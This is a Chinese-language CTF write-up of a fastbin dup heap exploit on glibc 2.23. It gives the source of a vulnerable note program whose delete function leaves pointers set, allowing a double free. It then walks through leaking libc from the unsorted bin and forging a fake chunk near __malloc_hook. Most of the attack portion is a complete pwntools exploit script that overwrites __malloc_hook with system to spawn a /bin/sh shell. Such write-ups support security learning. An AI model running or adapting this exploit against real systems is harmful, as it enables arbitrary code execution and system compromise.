|
2024-07-08
Pwn-Fastbin Dup 1(Glibc 2.23)
Author: 堇姬Naup
source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| #include <stdio.h> #include <stdlib.h>
char *g_ptrs[0x20]; int g_size[0x20]; int g_used[0x20]; int idx = 0;
void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); }
int read_num() { int num; scanf("%d", &num);
return num; }
void menu() { puts("=== Note System v0.87 ==="); puts("1) Create Note"); puts("2) Get Note"); puts("3) Set Note"); puts("4) Delete Note"); puts("5) Bye"); printf("# "); }
void create() { int size;
if (idx >= 0x20) { return; }
printf("size:\n"); scanf("%d", &size);
g_ptrs[idx] = malloc(size); g_size[idx] = size; g_used[idx] = 1; printf("Create: g_ptrs[%d]\n", idx);
idx++; }
void get() { int idx;
printf("idx:\n"); scanf("%d", &idx);
if (g_used[idx]) { printf("g_ptrs[%d]: %s\n", idx, g_ptrs[idx]); } }
void set() { int idx;
printf("idx:\n"); scanf("%d", &idx);
if (g_used[idx]) { printf("str:\n"); read(0, g_ptrs[idx], g_size[idx]); } }
void delete() { int idx;
printf("idx:\n"); scanf("%d", &idx); if (g_ptrs[idx]) { free(g_ptrs[idx]); g_used[idx] = 0; } }
int main(void) { init();
while(1) { menu(); switch(read_num()) { case 1: create(); break; case 2: get(); break; case 3: set(); break; case 4: delete(); break; case 5: return 0; default: exit(1); } }
return 0; }
|
分析
可以輸入1~5,分別對應
1 2 3 4 5 6 7 8 9 10
| void menu() { puts("=== Note System v0.87 ==="); puts("1) Create Note"); puts("2) Get Note"); puts("3) Set Note"); puts("4) Delete Note"); puts("5) Bye"); printf("# "); }
|
create() -> 1
malloc一個chunk,並可以指定一個size
並且把東西存到這三個global variable
1 2 3
| char *g_ptrs[0x20]; int g_size[0x20]; int g_used[0x20];
|
get() -> 2
先確認該chunk存不存在,以及是否是allocated,你可以指定index,然後給你他的內容
set() -> 3
先確認該chunk存不存在,以及是否是allocated
指定index,並可以把內容寫進去chunk裡面
delete -> 4
輸入一個index,若該ptrs存在,則把它free掉,然後把used改成0
1 2 3 4
| if (g_ptrs[idx]) { free(g_ptrs[idx]); g_used[idx] = 0; }
|
觀察一下這裡,他是去找g_ptrs裡面有沒有然後再free掉,但很顯然的g_ptrs就算你free掉了,也不會把它清掉所以就可以double free
並且打這題目前要有一個先備知識,要怎麼leak libc,我們打算透過fastbin dup來改malloc_hook,那就必須要有libc base,這邊可以用unsorted bin來leak,因為當unsorted bin被free掉時候,fd、bk會指向一個libc address
像是這樣,我先malloc一個
image
然後free,就可以發現有了
image
接下來我透過在malloc一次一樣大小的來拿到同一塊,並且fd、bk沒有被清空,用get,就可以把它印出來了
拿offset
image
1 2 3 4
| >>> 0x72db424aab78-0x72db420e6000 3951480 >>> hex(3951480) '0x3c4b78'
|
目前這樣可以leak libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import *
DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h']
def create(size): r.sendline(b'1') r.sendline(str(size).encode())
def get(idx): r.sendline(b'2') r.sendline(str(idx).encode()) r.recvuntil(b']: ') chunk_str=r.recvline().strip() return chunk_str
def set(index, payload): r.sendline(b'3') r.sendline(str(index).encode()) r.send(payload)
def delete(index): r.sendline(b'4') r.sendline(str(index).encode())
r = process('./fastbindup')
if DEBUG=='y': gdb.attach(r)
offset = 0x3c4b78 create(0x480) create(0x60) create(0x60) create(0x60)
delete(0) create(0x480)
leak_libc=u64(get(4).ljust(8,b'\0')) libc_base=leak_libc-offset
print("NAUPINFO @ leak libc : ",hex(leak_libc)) print("NAUPINFO @ libc base : ",hex(libc_base))
r.interactive()
|
再來就是要寫malloc hook了,這邊先做一件事,我們先到malloc hook去看看
我們需要bypass一個安全機制,較chunk size要一樣
image
觀察一下會發現,他有很多0x7c之類的東西
如果能把它當header size(推到header最尾端)就可以bypass
推一下就可以把他推到後面了(malloc hook - 0x33)
image
所以我們應該跳到(malloc hook - 0x23)
image
跳到libc base + malloc hook offset - 0x23
image
bypass
接下來要做fastbin dup
1 2 3 4
| chunk 0 -> 0x440 chunk 1 -> 0x70 chunk 2 -> 0x70 chunk 3 -> 0x70
|
free 1、2
1
| fastbin -> chunk 2 -> chunk 1
|
再free 1
1
| fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...
|
這邊再free 3
1
| fastbin -> chunk 3 -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...
|
這邊注意一點,我想把/bin/sh
寫進去到heap裡面,所以我要先leak heap的位置,這邊可以挑1 或 2,都沒差,反正到時候都用不到,我這邊挑chunk 1,因為我把chunk 3 free掉後fd指向chunk 1,所以我malloc回來get就可以拿到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h']
def create(size): r.sendline(b'1') r.sendline(str(size).encode())
def get(idx): r.sendline(b'2') r.sendline(str(idx).encode()) r.recvuntil(b']: ') chunk_str=r.recvline().strip() return chunk_str
def set(index, payload): r.sendline(b'3') r.sendline(str(index).encode()) r.send(payload)
def delete(index): r.sendline(b'4') r.sendline(str(index).encode())
r = process('./fastbindup')
if DEBUG=='y': gdb.attach(r)
offset = 0x3c4b78
create(0x480) create(0x60) create(0x60) create(0x60)
delete(0) create(0x480)
leak_libc=u64(get(4).ljust(8,b'\0')) libc_base=leak_libc-offset
print("NAUPINFO @ leak libc : ",hex(leak_libc)) print("NAUPINFO @ libc base : ",hex(libc_base))
mallochook_offset = 0x3c4b10
malloc_hook = libc_base + mallochook_offset - 0x23 libc_system = 0x0000000000453a0 + libc_base
print('NAUPINFO @ MALLOC_HOOK : ',hex(malloc_hook))
delete(1) delete(2) delete(1)
delete(3) create(0x60) heap_chunk1 = u64(get(5).ljust(8,b'\0')) print('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ',hex(heap_chunk1))
r.interactive()
|
現在fastbin chain
1
| fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...
|
先malloc 1(ptr index 6)
1 2 3 4 5 6
| fastbin -> chunk 2 -> chunk 1 -> chunk 2 -> ... ^ chunk 1 _| chunk 1 (free & allocated) chunk 2 (free)
|
把chunk 1 寫入 malloc_hook 位置
1 2 3 4
| fastbin -> chunk 2 -> chunk 1 -> malloc_hook chunk 1 (free & allocated) chunk 2 (free)
|
現在
malloc三次,拿到了
1 2 3
| chunk 2(ptr index 7) chunk 1(ptr index 8) malloc_hook(ptr index 9)
|
把chunk 1寫入/bin/sh
,/bin/sh
位置就會在chunk 1 address + 0x10
那malloc hook現在到底在哪裡?
1 2 3
| header 0x10 0x10 0x3 malloc hook
|
所以你要先padding,0x13
個a在寫掉malloc hook成system
最後傳入/bin/sh
1
| malloc("/bin/sh") -> (*__malloc_hook)("/bin/sh") -> system("/bin/sh")
|
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import *
DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h']
def create(size): r.sendline(b'1') r.sendline(str(size).encode())
def get(idx): r.sendline(b'2') r.sendline(str(idx).encode()) r.recvuntil(b']: ') chunk_str=r.recvline().strip() return chunk_str
def set(index, payload): r.sendline(b'3') r.sendline(str(index).encode()) r.send(payload)
def delete(index): r.sendline(b'4') r.sendline(str(index).encode())
r = process('./fastbindup')
if DEBUG=='y': gdb.attach(r)
offset = 0x3c4b78
create(0x480) create(0x60) create(0x60) create(0x60)
delete(0) create(0x480)
leak_libc=u64(get(4).ljust(8,b'\0')) libc_base=leak_libc-offset
print("NAUPINFO @ leak libc : ",hex(leak_libc)) print("NAUPINFO @ libc base : ",hex(libc_base))
mallochook_offset = 0x3c4b10
malloc_hook = libc_base + mallochook_offset - 0x23 libc_system = 0x453a0 + libc_base
print('NAUPINFO @ MALLOC_HOOK : ',hex(malloc_hook))
delete(1) delete(2) delete(1)
delete(3) create(0x60) heap_chunk1 = u64(get(5).ljust(8,b'\0')) print('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ',hex(heap_chunk1))
create(0x60)
r.sendline(b'3') r.sendline(b'6') r.sendline(p64(malloc_hook))
print('NAUPINFO @ Write Chunk 1 : ',hex(u64(get(6).ljust(8,b'\0'))))
create(0x60) create(0x60) create(0x60)
set(8,b'/bin/sh')
write_malloc_hook_payload = b'a' * 0x13 + p64(libc_system)
r.sendline(b'3') r.sendline(b'9') r.sendline(write_malloc_hook_payload)
create(heap_chunk1+0x10)
r.interactive()
|